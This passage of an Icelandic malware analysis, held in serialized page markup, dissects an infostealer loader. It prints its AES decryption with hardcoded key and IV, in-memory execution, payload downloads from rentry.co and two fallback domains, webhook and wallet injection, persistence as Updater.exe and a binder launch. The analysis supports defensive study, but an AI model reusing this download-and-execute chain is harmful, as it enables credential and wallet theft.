\"aes-256-cbc\"",[1685,3123,3043],{"class":3006},[1685,3125,3126],{"class":1687,"line":2070},[1685,3127,3128],{"class":3006},"  key,\n",[1685,3130,3131,3133,3135,3138,3140],{"class":1687,"line":2076},[1685,3132,3023],{"class":3006},[1685,3134,3026],{"class":2771},[1685,3136,3137],{"class":3006},"(iv, ",[1685,3139,3032],{"class":2775},[1685,3141,3035],{"class":3006},[1685,3143,3144],{"class":1687,"line":2398},[1685,3145,3063],{"class":3006},[697,3147],{},"Dulkóðaði payloadinn er afkóðaður með venjulegum CBC-móð (Cipher Block Chaining):",[587,3150,3152],{"className":2987,"code":3151,"language":2989,"meta":593,"style":593},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[550,3153,3154,3183],{"__ignoreMap":593},[1685,3155,3156,3159,3162,3165,3168,3171,3174,3176,3178,3181],{"class":1687,"line":1688},[1685,3157,3158],{"class":2996},"let",[1685,3160,3161],{"class":3006}," decrypted ",[1685,3163,3164],{"class":2996},"=",[1685,3166,3167],{"class":3006}," decipher.",[1685,3169,3170],{"class":2771},"update",[1685,3172,3173],{"class":3006},"(encdata, ",[1685,3175,3032],{"class":2775},[1685,3177,619],{"class":3006},[1685,3179,3180],{"class":2775},"\"utf8\"",[1685,3182,3063],{"class":3006},[1685,3184,3185,3188,3191,3193,3196,3199,3201],{"class":1687,"line":2064},[1685,3186,3187],{"class":3006},"decrypted ",[1685,3189,3190],{"class":2996},"+=",[1685,3192,3167],{"class":3006},[1685,3194,3195],{"class":2771},"final",[1685,3197,3198],{"class":3006},"(",[1685,3200,3180],{"class":2775},[1685,3202,3063],{"class":3006},[606,3204,3205,3208,3209,3212,3213,3234,3236],{},[539,3206,3207],{},"Dýnamísk keyrsla:","\nAfkóðaði JavaScript-kóðinn er aldrei skrifaður á disk. Í staðinn er hann keyrður dýnamískt í minni með ",[550,3210,3211],{},"Function","-smiðnum:",[587,3214,3216],{"className":2987,"code":3215,"language":2989,"meta":593,"style":593},"new Function(\"require\", decrypted)(require);\n",[550,3217,3218],{"__ignoreMap":593},[1685,3219,3220,3223,3226,3228,3231],{"class":1687,"line":1688},[1685,3221,3222],{"class":2996},"new",[1685,3224,3225],{"class":2771}," Function",[1685,3227,3198],{"class":3006},[1685,3229,3230],{"class":2775},"\"require\"",[1685,3232,3233],{"class":3006},", decrypted)(require);\n",[697,3235],{},"Þessi tækni gerir fileless keyrslu mögulega og dregur úr líkum á detection frá hefðbundnum antivirus-engines sem byggja á skönnun á diski.",[532,3238,3239],{},"Þessi aðferð sýnir lagskipta vörn gegn reverse engineering með því að sameina lykilleiðslu, sterka dulkóðun og dýnamíska keyrslu í minni.",[532,3241,3242],{},[539,3243,3244],{},"Lykilefni og dulkóðuð gögn",[532,3246,3247],{},"Scriptið inniheldur eftirfarandi harðkóðuð inntök:",[603,3249,3250,3256,3264,3272],{},[606,3251,3252,3255],{},[539,3253,3254],{},"Dulkóðuð gögn:"," stórt Base64-kóðað blob",[606,3257,3258,1537,3261],{},[539,3259,3260],{},"Masterlykill:",[550,3262,3263],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[606,3265,3266,1537,3268,3271],{},[539,3267,3088],{},[550,3269,3270],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-kóðað)",[606,3273,3274,1537,3277,3271],{},[539,3275,3276],{},"IV:",[550,3278,3279],{},"HwK6sOz7FBbL+YsrOxtYUg==",[532,3281,3282,3283,585],{},"Allt þetta er byggt beint inn í frumkóða ",[550,3284,2813],{},[713,3286,3288],{"id":3287},"_62-hegðun-payloadsins-eftir-afkóðun","6.2 Hegðun payloadsins eftir afkóðun",[532,3290,719],{},[532,3292,3293],{},"Eftir afkóðun verður innbyggði payloadinn fullgilt JavaScript-forrit sem framkvæmir eftirfarandi illgjörnu aðgerðir:",[861,3295,3297],{"id":3296},"_621-undirbúningur-umhverfis","6.2.1 Undirbúningur umhverfis",[532,3299,867],{},[532,3301,3302],{},"Afkóðaði payloadinn byrjar á því að setja upp keyrsluumhverfi sitt með innbyggðum Node.js-einingum. Þessi uppsetningarfasi tryggir að allar nauðsynlegar slóðir og vinnumöppur séu skýrt skilgreindar áður en nokkur illgjörn hegðun hefst.",[603,3304,3305,3338],{},[606,3306,3307,3310,3311,3314,3315],{},[539,3308,3309],{},"Ákvörðun tímabundinnar möppu:","\nMalware-ið kallar á ",[550,3312,3313],{},"os.tmpdir()"," til að finna slóðina á tímabundna möppu kerfisins. Þetta er algeng taktík í malware því tímabundnar möppur eru yfirleitt skrifanlegar og endpoint-varnir skoða þær síður.",[587,3316,3318],{"className":2987,"code":3317,"language":2989,"meta":593,"style":593},"const tempDir = os.tmpdir();\n",[550,3319,3320],{"__ignoreMap":593},[1685,3321,3322,3324,3327,3329,3332,3335],{"class":1687,"line":1688},[1685,3323,2997],{"class":2996},[1685,3325,3326],{"class":2779}," tempDir",[1685,3328,3003],{"class":2996},[1685,3330,3331],{"class":3006}," os.",[1685,3333,3334],{"class":2771},"tmpdir",[1685,3336,3337],{"class":3006},"();\n",[606,3339,3340,3343,3344,3357],{},[539,3341,3342],{},"Bygging slóða:","\nScriptið byggir svo algjörar slóðir fyrir tvær mikilvægar skrár:",[603,3345,3346,3351],{},[606,3347,3348,3350],{},[550,3349,2874],{},": safnskráin sem inniheldur hinn eiginlega Python-byggða stealer á öðru þrepi",[606,3352,3353,3356],{},[550,3354,3355],{},"bnd.exe",": valkvæm keyranleg skrá sem gæti verið persistence-bakdyr eða viðbótarpayload",[587,3358,3360],{"className":2987,"code":3359,"language":2989,"meta":593,"style":593},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[550,3361,3362,3385],{"__ignoreMap":593},[1685,3363,3364,3366,3369,3371,3374,3377,3380,3383],{"class":1687,"line":1688},[1685,3365,2997],{"class":2996},[1685,3367,3368],{"class":2779}," tempFile",[1685,3370,3003],{"class":2996},[1685,3372,3373],{"class":3006}," path.",[1685,3375,3376],{"class":2771},"join",[1685,3378,3379],{"class":3006},"(tempDir, ",[1685,3381,3382],{"class":2775},"\"pyth.zip\"",[1685,3384,3063],{"class":3006},[1685,3386,3387,3389,3392,3394,3396,3398,3400,3403],{"class":1687,"line":2064},[1685,3388,2997],{"class":2996},[1685,3390,3391],{"class":2779}," binderFile",[1685,3393,3003],{"class":2996},[1685,3395,3373],{"class":3006},[1685,3397,3376],{"class":2771},[1685,3399,3379],{"class":3006},[1685,3401,3402],{"class":2775},"\"bnd.exe\"",[1685,3404,3063],{"class":3006},[532,3406,3407],{},"Þessi uppsetning slóða felur setningagerð slóða sem er sértæk fyrir stýrikerfið og gerir malware-inu kleift að starfa hnökralaust á hvaða Windows-kerfi sem er. Hún leggur einnig grunninn að þeim búnaði til að sækja og pakka út skrám sem á eftir kemur.",[861,3409,3411],{"id":3410},"_622-sókn-payloads-með-varaleiðum","6.2.2 Sókn payloads með varaleiðum",[532,3413,867],{},[532,3415,3416],{},"Annar meginfasi afkóðaða JavaScript-payloadsins felur í sér að sækja illgjarna ZIP-safnskrá frá fjartengdum heimildum. Þessi búnaður er hannaður með marglaga varaleiðum til að auka viðnámsþrótt og aðgengi.",[603,3418,3419,3451,3536,3570],{},[606,3420,3421,3424,3425,3445,3447,3448,3450],{},[539,3422,3423],{},"Aðalhlekkurinn fundinn í gegnum Rentry.co","\nScriptið byrjar á því að finna dýnamískt URL frá texta-paste-þjónustu. Það sendir GET-beiðni á:",[587,3426,3428],{"className":2987,"code":3427,"language":2989,"meta":593,"style":593},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[550,3429,3430],{"__ignoreMap":593},[1685,3431,3432,3434,3437,3439,3442],{"class":1687,"line":1688},[1685,3433,2997],{"class":2996},[1685,3435,3436],{"class":2779}," url",[1685,3438,3003],{"class":2996},[1685,3440,3441],{"class":2775}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1685,3443,3444],{"class":3006},";\n",[697,3446],{},"Þetta skilar URL-streng í plaintext sem vísar á hina eiginlegu staðsetningu ",[550,3449,2874],{},"-safnskrárinnar. Að nota framsendingarbúnað á þennan hátt er algeng obfuskunartækni, hún hylur hina raunverulegu illgjörnu URL og gerir statíska detection erfiðari.",[606,3452,3453,3456,3457,3489,3491,3492,3494,3495,3529,3531,3532,3535],{},[539,3454,3455],{},"Keyrsla niðurhalsins","\nFundna URL-ið er svo kallað með Axios-safninu og svarstraumi:",[587,3458,3460],{"className":2987,"code":3459,"language":2989,"meta":593,"style":593},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[550,3461,3462],{"__ignoreMap":593},[1685,3463,3464,3466,3469,3471,3474,3477,3480,3483,3486],{"class":1687,"line":1688},[1685,3465,2997],{"class":2996},[1685,3467,3468],{"class":2779}," fileResponse",[1685,3470,3003],{"class":2996},[1685,3472,3473],{"class":2996}," await",[1685,3475,3476],{"class":3006}," axios.",[1685,3478,3479],{"class":2771},"get",[1685,3481,3482],{"class":3006},"(fileUrl, { responseType: ",[1685,3484,3485],{"class":2775},"\"stream\"",[1685,3487,3488],{"class":3006}," });\n",[697,3490],{},"Skráin er skrifuð á disk sem ",[550,3493,2874],{}," í tímabundnu möppu kerfisins:",[587,3496,3498],{"className":2987,"code":3497,"language":2989,"meta":593,"style":593},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[550,3499,3500,3518],{"__ignoreMap":593},[1685,3501,3502,3504,3507,3509,3512,3515],{"class":1687,"line":1688},[1685,3503,2997],{"class":2996},[1685,3505,3506],{"class":2779}," writer",[1685,3508,3003],{"class":2996},[1685,3510,3511],{"class":3006}," fs.",[1685,3513,3514],{"class":2771},"createWriteStream",[1685,3516,3517],{"class":3006},"(tempFile);\n",[1685,3519,3520,3523,3526],{"class":1687,"line":2064},[1685,3521,3522],{"class":3006},"fileResponse.data.",[1685,3524,3525],{"class":2771},"pipe",[1685,3527,3528],{"class":3006},"(writer);\n",[697,3530],{},"Þessu niðurhali er pakkað inn í ",[550,3533,3534],{},"Promise"," til að tryggja að því ljúki samstillt áður en frekari rökvísi keyrir.",[606,3537,3538,3541,3542,3567,3569],{},[539,3539,3540],{},"Vara-URL","\nEf Rentry-hlekkurinn bregst prófar scriptið harðkóðaða varastaði:",[587,3543,3545],{"className":2987,"code":3544,"language":2989,"meta":593,"style":593},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[550,3546,3547,3558],{"__ignoreMap":593},[1685,3548,3549,3552,3554],{"class":1687,"line":1688},[1685,3550,3551],{"class":2771},"https",[1685,3553,1172],{"class":3006},[1685,3555,3557],{"class":3556},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1685,3559,3560,3562,3564],{"class":1687,"line":2064},[1685,3561,3551],{"class":2771},[1685,3563,1172],{"class":3006},[1685,3565,3566],{"class":3556},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[697,3568],{},"Þessi lén eru uppbyggð til að virðast vera hluti af stöðluðum TLS-staðfestingarmöppum, hugsanlega til að líkja eftir slóðum Let's Encrypt eða lénastaðfestingar og draga úr tortryggni. Hver varaleið er reynd aftur með sömu straum- og skráaskrifsrökvísi.",[606,3571,3572,3575,3576,3579],{},[539,3573,3574],{},"Þol og obfuskun","\nÞessi varaleiðabúnaður tryggir að malware-ið hafi margar leiðir til að sækja payloadinn á öðru þrepi. Notkun dýnamísks vísis (",[550,3577,3578],{},"rentry.co",") og margra spegla til að falla yfir á gerir malware-ið þolnara gegn niðurtekt, blokkun og DNS-sinkholes.",[532,3581,3582],{},"Þessi fasi sýnir vandaða rekstrarskipulagningu höfunda malware-sins, með lagskiptri afritun og vel dulbúnum afhendingarinnviðum.",[603,3584,3585,3591],{},[606,3586,3587,3588,3590],{},"Sækir ",[550,3589,2874],{}," frá URL-inu sem fannst",[606,3592,3593,3594],{},"Ef það bregst prófar það varaspegla:\n",[603,3595,3596,3601],{},[606,3597,3598],{},[550,3599,3600],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[606,3602,3603],{},[550,3604,3605],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[861,3607,3609],{"id":3608},"_623-útdráttur-payloads-og-meðhöndlun-hans","6.2.3 Útdráttur payloads og meðhöndlun hans",[532,3611,867],{},[532,3613,1152,3614,3616,3617,3619],{},[550,3615,2874],{},"-safnskráin hefur verið sótt og vistuð á disk heldur malware-ið áfram og dregur út innihald hennar og undirbýr það til keyrslu. Þetta er gert með Node.js-safninu ",[550,3618,2846],{},", sem gerir kleift að vinna með ZIP-skrár í kóða.",[603,3621,3622,3670,3697],{},[606,3623,3624,3627,3664,3666,3667,3669],{},[539,3625,3626],{},"ZIP-útdráttur:",[587,3628,3630],{"className":2987,"code":3629,"language":2989,"meta":593,"style":593},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[550,3631,3632,3649],{"__ignoreMap":593},[1685,3633,3634,3636,3639,3641,3644,3647],{"class":1687,"line":1688},[1685,3635,2997],{"class":2996},[1685,3637,3638],{"class":2779}," zip",[1685,3640,3003],{"class":2996},[1685,3642,3643],{"class":2996}," new",[1685,3645,3646],{"class":2771}," AdmZip",[1685,3648,3517],{"class":3006},[1685,3650,3651,3654,3657,3659,3662],{"class":1687,"line":2064},[1685,3652,3653],{"class":3006},"zip.",[1685,3655,3656],{"class":2771},"extractAllTo",[1685,3658,3379],{"class":3006},[1685,3660,3661],{"class":2779},"true",[1685,3663,3063],{"class":3006},[697,3665],{},"Þetta dregur allt innihald safnskrárinnar út í tímabundna möppu kerfisins. ",[550,3668,3661],{},"-flaggið tryggir að skrifað sé yfir allar skrár sem þegar eru til.",[606,3671,3672,3675,3676,3678,3679],{},[539,3673,3674],{},"Innihald safnskrárinnar:","\nSafnskráin ",[550,3677,2874],{}," inniheldur fullpakkað Python-verkefni, þar á meðal:",[603,3680,3681,3684,3687],{},[606,3682,3683],{},"Möppuuppbyggingu sem líkist lögmætum Python-pakka",[606,3685,3686],{},"Nokkrar Python-einingar og háðar einingar",[606,3688,3689,3690,3692,3693,3696],{},"Lykilskrána ",[550,3691,581],{}," sem liggur á ",[550,3694,3695],{},"Crypto/Util/astor.py"," og er megin-stealer-payloadinn",[606,3698,3699,3702,3703,3705,3706,3726],{},[539,3700,3701],{},"Útskipting staðgengla:","\nMalware-ið skiptir dýnamískt út fyrirfram skilgreindum staðgenglum inni í ",[550,3704,581],{}," til að skjóta inn uppsetningargögnum sem árásaraðilinn stýrir, svo sem:",[603,3707,3708,3711,3714,3720],{},[606,3709,3710],{},"URL á Discord-webhook",[606,3712,3713],{},"Heimilisföng kryptóveskja (BTC, ETH, DOGE, LTC, XMR o.s.frv.)",[606,3715,3716,3717,1111],{},"Auðkenni notanda (",[550,3718,3719],{},"%USERID%",[606,3721,3722,3723,1111],{},"Flagg um villustöðu (",[550,3724,3725],{},"%ERRORSTATUS%",[587,3727,3729],{"className":2987,"code":3728,"language":2989,"meta":593,"style":593},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[550,3730,3731,3792,3805,3828,3838,3843,3848,3853,3859],{"__ignoreMap":593},[1685,3732,3733,3736,3739,3742,3745,3748,3751,3754,3757,3760,3763,3766,3768,3771,3774,3778,3780,3783,3786,3789],{"class":1687,"line":1688},[1685,3734,3735],{"class":3006},"fs.",[1685,3737,3738],{"class":2771},"readFile",[1685,3740,3741],{"class":3006},"(extractedDir ",[1685,3743,3744],{"class":2996},"+",[1685,3746,3747],{"class":2775}," \"",[1685,3749,3750],{"class":2779},"\\C",[1685,3752,3753],{"class":2775},"rypto",[1685,3755,3756],{"class":2779},"\\U",[1685,3758,3759],{"class":2775},"til",[1685,3761,3762],{"class":2779},"\\a",[1685,3764,3765],{"class":2775},"stor.py\"",[1685,3767,619],{"class":3006},[1685,3769,3770],{"class":2775},"'utf8'",[1685,3772,3773],{"class":3006},", (",[1685,3775,3777],{"class":3776},"s4XuR","err",[1685,3779,619],{"class":3006},[1685,3781,3782],{"class":3776},"data",[1685,3784,3785],{"class":3006},") ",[1685,3787,3788],{"class":2996},"=>",[1685,3790,3791],{"class":3006}," {\n",[1685,3793,3794,3797,3800,3802],{"class":1687,"line":2064},[1685,3795,3796],{"class":2996},"  let",[1685,3798,3799],{"class":3006}," updatedFile ",[1685,3801,3164],{"class":2996},[1685,3803,3804],{"class":3006}," data\n",[1685,3806,3807,3810,3813,3815,3818,3821,3825],{"class":1687,"line":2070},[1685,3808,3809],{"class":3006},"    .",[1685,3811,3812],{"class":2771},"replace",[1685,3814,3198],{"class":3006},[1685,3816,3817],{"class":2775},"\"%DISCORD%\"",[1685,3819,3820],{"class":3006},", \u003C",[1685,3822,3824],{"class":3823},"s9eBZ","webhook",[1685,3826,3827],{"class":3006},">)\n",[1685,3829,3830,3833,3836],{"class":1687,"line":2076},[1685,3831,3832],{"class":3006},"    .replace(\"%ADDRESSBTC%\", \u003C",[1685,3834,3835],{"class":2779},"btc_address",[1685,3837,3827],{"class":3006},[1685,3839,3840],{"class":1687,"line":2398},[1685,3841,3842],{"class":3006},"    ...\n",[1685,3844,3845],{"class":1687,"line":2404},[1685,3846,3847],{"class":3006},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1685,3849,3850],{"class":1687,"line":3060},[1685,3851,3852],{"emptyLinePlaceholder":325},"\n",[1685,3854,3856],{"class":1687,"line":3855},8,[1685,3857,3858],{"class":3006},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1685,3860,3862],{"class":1687,"line":3861},9,[1685,3863,3864],{"class":3006},"});\n",[532,3866,3867],{},"Þessi fasi dýnamískrar meðhöndlunar er nauðsynlegur. Með því að fresta innsetningu gildanna sem árásaraðilinn stýrir til keyrslutíma kemst payloadinn hjá statískri detection og stjórnandinn getur breytt skotmörkum og endapunktum exfiltration án þess að pakka safnskránni upp á nýtt.",[603,3869,3870],{},[606,3871,3872,3873,3875,3876],{},"Skiptir út staðgengilsstrengjum í ",[550,3874,581],{},":\n",[603,3877,3878,3884,3894],{},[606,3879,3880,3881],{},"Discord-webhook: ",[550,3882,3883],{},"%DISCORD%",[606,3885,3886,3887,619,3890,3893],{},"Heimilisföng veskja: ",[550,3888,3889],{},"%ADDRESSBTC%",[550,3891,3892],{},"%ADDRESSETH%"," o.s.frv.",[606,3895,3896],{},"Auðkenni notanda og villuflögg",[861,3898,3900],{"id":3899},"_624-keyrsla-malware-sins","6.2.4 Keyrsla malware-sins",[532,3902,867],{},[603,3904,3905],{},[606,3906,3907,3908],{},"Eftir að innspýtingu staðgengla í astor.py er lokið hefur malware-ið keyrslu stealersins með kerfiskalli",[587,3909,3911],{"className":2987,"code":3910,"language":2989,"meta":593,"style":593},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[550,3912,3913],{"__ignoreMap":593},[1685,3914,3915,3918,3920,3923,3926,3929,3931,3934],{"class":1687,"line":1688},[1685,3916,3917],{"class":2771},"exec",[1685,3919,3198],{"class":3006},[1685,3921,3922],{"class":2775},"\"python.exe Crypto",[1685,3924,3925],{"class":2779},"\\\\",[1685,3927,3928],{"class":2775},"Util",[1685,3930,3925],{"class":2779},[1685,3932,3933],{"class":2775},"astor.py\"",[1685,3935,3063],{"class":3006},[532,3937,3938],{},"Þessi skipun er keyrð með child_process.exec-fallinu í Node.js og ræsir innbyggða Python-payloadinn í sérstöku ferli. Þetta tiltekna keyrslumynstur, python.exe með argumentinu Crypto\\Util\\astor.py, sást í telemetríugögnum sem Microsoft Defender for Endpoint safnaði, sem gerir það að áreiðanlegu detection-artifacti. Í reynd lítur keyrslukeðjan svona út:",[532,3940,3941],{},"Öll keyrslukeðja malware-sins, eins og hún sást í telemetríu Microsoft Defender for Endpoint, fylgir þessari röð:",[603,3943,3944,3952,3959,3965],{},[606,3945,3946,3948,3949],{},[550,3947,577],{}," (Electron-byggt ílát) kallar á ",[550,3950,3951],{},"node.exe",[606,3953,3954,3956,3957],{},[550,3955,3951],{}," ræsir ",[550,3958,1100],{},[606,3960,3961,3956,3963],{},[550,3962,1100],{},[550,3964,552],{},[606,3966,3967,3969,3970],{},[550,3968,552],{}," keyrir skrána ",[550,3971,1110],{},[861,3973,3975],{"id":3974},"_625-styrking-persistence","6.2.5 Styrking persistence",[532,3977,867],{},[532,3979,3980,3981,3983],{},"Til að tryggja langvarandi viðveru á sýkta kerfinu hefur afkóðaði JavaScript-payloadinn rökvísi til að koma persistence á að nýju með því að afrita upphaflega binary-ið (",[550,3982,573],{},") á falinn stað inni í notandaprófílnum.",[532,3985,3986],{},[539,3987,3988],{},"Markmappa",[532,3990,3991],{},"Skráin er afrituð í möppu sem líkir eftir lögmætum Windows-hlutum:",[587,3993,3995],{"className":2987,"code":3994,"language":2989,"meta":593,"style":593},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[550,3996,3997],{"__ignoreMap":593},[1685,3998,3999,4002,4005,4007],{"class":1687,"line":1688},[1685,4000,4001],{"class":2996},"%",[1685,4003,4004],{"class":2779},"APPDATA",[1685,4006,4001],{"class":2996},[1685,4008,4009],{"class":3006},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[532,4011,4012],{},"Þessi staðsetning er valin viljandi:",[603,4014,4015,4018],{},[606,4016,4017],{},"%APPDATA% er skrifanlegt fyrir venjulega notendur og krefst engra kerfisstjóraréttinda.",[606,4019,4020],{},"Heiti möppunnar líkir eftir lögmætum Microsoft-forritsmöppum, sem gerir hana síður grunsamlega.",[532,4022,4023],{},[539,4024,4025],{},"Afritunarbúnaður:",[532,4027,4028],{},"Afritunaraðgerðin notar fs.copyFileSync()-fallið í Node.js:",[587,4030,4032],{"className":2987,"code":4031,"language":2989,"meta":593,"style":593},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[550,4033,4034,4043,4053,4062,4071,4078,4085,4092,4099,4104],{"__ignoreMap":593},[1685,4035,4036,4038,4041],{"class":1687,"line":1688},[1685,4037,3735],{"class":3006},[1685,4039,4040],{"class":2771},"copyFileSync",[1685,4042,3013],{"class":3006},[1685,4044,4045,4048,4051],{"class":1687,"line":2064},[1685,4046,4047],{"class":3006},"  process.env.",[1685,4049,4050],{"class":2779},"PORTABLE_EXECUTABLE_FILE",[1685,4052,3043],{"class":3006},[1685,4054,4055,4058,4060],{"class":1687,"line":2070},[1685,4056,4057],{"class":3006},"  path.",[1685,4059,3376],{"class":2771},[1685,4061,3013],{"class":3006},[1685,4063,4064,4067,4069],{"class":1687,"line":2076},[1685,4065,4066],{"class":3006},"    process.env.",[1685,4068,4004],{"class":2779},[1685,4070,3043],{"class":3006},[1685,4072,4073,4076],{"class":1687,"line":2398},[1685,4074,4075],{"class":2775},"    \"Microsoft\"",[1685,4077,3043],{"class":3006},[1685,4079,4080,4083],{"class":1687,"line":2404},[1685,4081,4082],{"class":2775},"    \"Internet Explorer\"",[1685,4084,3043],{"class":3006},[1685,4086,4087,4090],{"class":1687,"line":3060},[1685,4088,4089],{"class":2775},"    \"UserData\"",[1685,4091,3043],{"class":3006},[1685,4093,4094,4097],{"class":1687,"line":3855},[1685,4095,4096],{"class":2775},"    \"Updater.exe\"",[1685,4098,3043],{"class":3006},[1685,4100,4101],{"class":1687,"line":3861},[1685,4102,4103],{"class":3006},"  ),\n",[1685,4105,4107],{"class":1687,"line":4106},10,[1685,4108,3063],{"class":3006},[603,4110,4111,4114],{},[606,4112,4113],{},"PORTABLE_EXECUTABLE_FILE er umhverfisbreyta sem margir packers (svo sem Electron) setja sjálfkrafa til að vísa á slóð þess binaries sem er í keyrslu.",[606,4115,4116],{},"path.join(...) byggir fullgilda áfangaslóð sem virkar á ólíkum stýrikerfum.",[532,4118,4119],{},"Þessi rökvísi keyrir aðeins ef skráin er ekki þegar til staðar og virkar þannig sem sjálfsviðgerðarbúnaður sem endurheimtir dropperinn ef honum er eytt.",[532,4121,4122,4125],{},[539,4123,4124],{},"Hlutverk í malware-keðjunni","\nTilvist þessa afritaða Updater.exe tryggir að:",[603,4127,4128,4131],{},[606,4129,4130],{},"Loaderinn getur kveikt á sjálfum sér aftur þótt kerfið sé endurræst.",[606,4132,4133],{},"Öll sýkingarkeðjan (sem leiðir til main.exe, node.exe og loks astor.py) getur hafist á nýjan leik án þess að reiða sig á hefðbundinn persistence-búnað í registry, sem er líklegri til að vera vaktaður.",[861,4135,4137],{"id":4136},"_626-valkvæm-keyrsla-binders","6.2.6 Valkvæm keyrsla binders",[532,4139,867],{},[532,4141,4142,4143,4145],{},"Auk þess að sækja og keyra megin-stealer-payloadinn (",[550,4144,581],{},") hefur afkóðaða JavaScriptið einnig rökvísi til að sækja og ræsa, ef svo er stillt, aðra keyranlega skrá sem kölluð er \"binder\". Þennan hluta má nota fyrir persistence, til að dreifa athygli eða til að dreifa fleiri malware-einingum.",[532,4147,4148],{},[539,4149,4150],{},"Skilyrt keyrsla",[532,4152,4153],{},"Binder-rökvísin er aðeins virkjuð ef tiltekið flagg er sett:",[587,4155,4157],{"className":2987,"code":4156,"language":2989,"meta":593,"style":593},"enableBinder = true;\n",[550,4158,4159],{"__ignoreMap":593},[1685,4160,4161,4164,4166,4169],{"class":1687,"line":1688},[1685,4162,4163],{"class":3006},"enableBinder ",[1685,4165,3164],{"class":2996},[1685,4167,4168],{"class":2779}," true",[1685,4170,3444],{"class":3006},[532,4172,4173,4174,4177],{},"Í sýninu sem greint var var þetta gildi sjálfgefið ",[550,4175,4176],{},"false",", en rökvísin er enn innbyggð í payloadinum og einfalt mál að virkja hana í annarri herferð eða öðru afbrigði.",[532,4179,4180],{},[539,4181,4182],{},"Rökvísi niðurhals binders",[532,4184,4185,4186,1172],{},"Ef hún er virkjuð reynir scriptið að sækja utanaðkomandi binary frá URL-i sem skilgreint er með staðgenglinum ",[550,4187,4188],{},"%BINDERURL%",[587,4190,4192],{"className":2987,"code":4191,"language":2989,"meta":593,"style":593},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[550,4193,4194,4208,4228,4243],{"__ignoreMap":593},[1685,4195,4196,4198,4201,4203,4206],{"class":1687,"line":1688},[1685,4197,2997],{"class":2996},[1685,4199,4200],{"class":2779}," fileUrl",[1685,4202,3003],{"class":2996},[1685,4204,4205],{"class":2775}," \"%BINDERURL%\"",[1685,4207,3444],{"class":3006},[1685,4209,4210,4212,4214,4216,4218,4220,4222,4224,4226],{"class":1687,"line":2064},[1685,4211,2997],{"class":2996},[1685,4213,3468],{"class":2779},[1685,4215,3003],{"class":2996},[1685,4217,3473],{"class":2996},[1685,4219,3476],{"class":3006},[1685,4221,3479],{"class":2771},[1685,4223,3482],{"class":3006},[1685,4225,3485],{"class":2775},[1685,4227,3488],{"class":3006},[1685,4229,4230,4232,4234,4236,4238,4240],{"class":1687,"line":2070},[1685,4231,2997],{"class":2996},[1685,4233,3506],{"class":2779},[1685,4235,3003],{"class":2996},[1685,4237,3511],{"class":3006},[1685,4239,3514],{"class":2771},[1685,4241,4242],{"class":3006},"(binderFile);\n",[1685,4244,4245,4247,4249],{"class":1687,"line":2076},[1685,4246,3522],{"class":3006},[1685,4248,3525],{"class":2771},[1685,4250,3528],{"class":3006},[603,4252,4253,4258],{},[606,4254,4255,4257],{},[550,4256,3355],{},"-skráin er vistuð í tímabundnu möppu kerfisins.",[606,4259,4260,4261,4263],{},"Eins og ",[550,4262,2874],{}," er binary-ið sótt með Axios í straumi til að forðast að hlaða öllu binary-inu í minni.",[532,4265,4266],{},[539,4267,4268],{},"Keyrslustefna",[532,4270,4271,4272,4274],{},"Eftir að niðurhali lýkur kallar scriptið á sótta binary-ið í gegnum ",[550,4273,1100],{},", sem tryggir að það keyri í nýju shell-samhengi:",[587,4276,4278],{"className":2987,"code":4277,"language":2989,"meta":593,"style":593},"exec(`start cmd /c start ${binderFile}`, ...);\n",[550,4279,4280],{"__ignoreMap":593},[1685,4281,4282,4284,4286,4289,4292,4295,4297,4300],{"class":1687,"line":1688},[1685,4283,3917],{"class":2771},[1685,4285,3198],{"class":3006},[1685,4287,4288],{"class":2775},"`start cmd /c start ${",[1685,4290,4291],{"class":3006},"binderFile",[1685,4293,4294],{"class":2775},"}`",[1685,4296,619],{"class":3006},[1685,4298,4299],{"class":2996},"...",[1685,4301,3063],{"class":3006},[532,4303,4304],{},"Til að auka áreiðanleika hefur scriptið rökvísi til að reyna aftur:",[587,4306,4308],{"className":2987,"code":4307,"language":2989,"meta":593,"style":593},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[550,4309,4310,4322,4333],{"__ignoreMap":593},[1685,4311,4312,4315,4318,4320],{"class":1687,"line":1688},[1685,4313,4314],{"class":2771},"setTimeout",[1685,4316,4317],{"class":3006},"(() 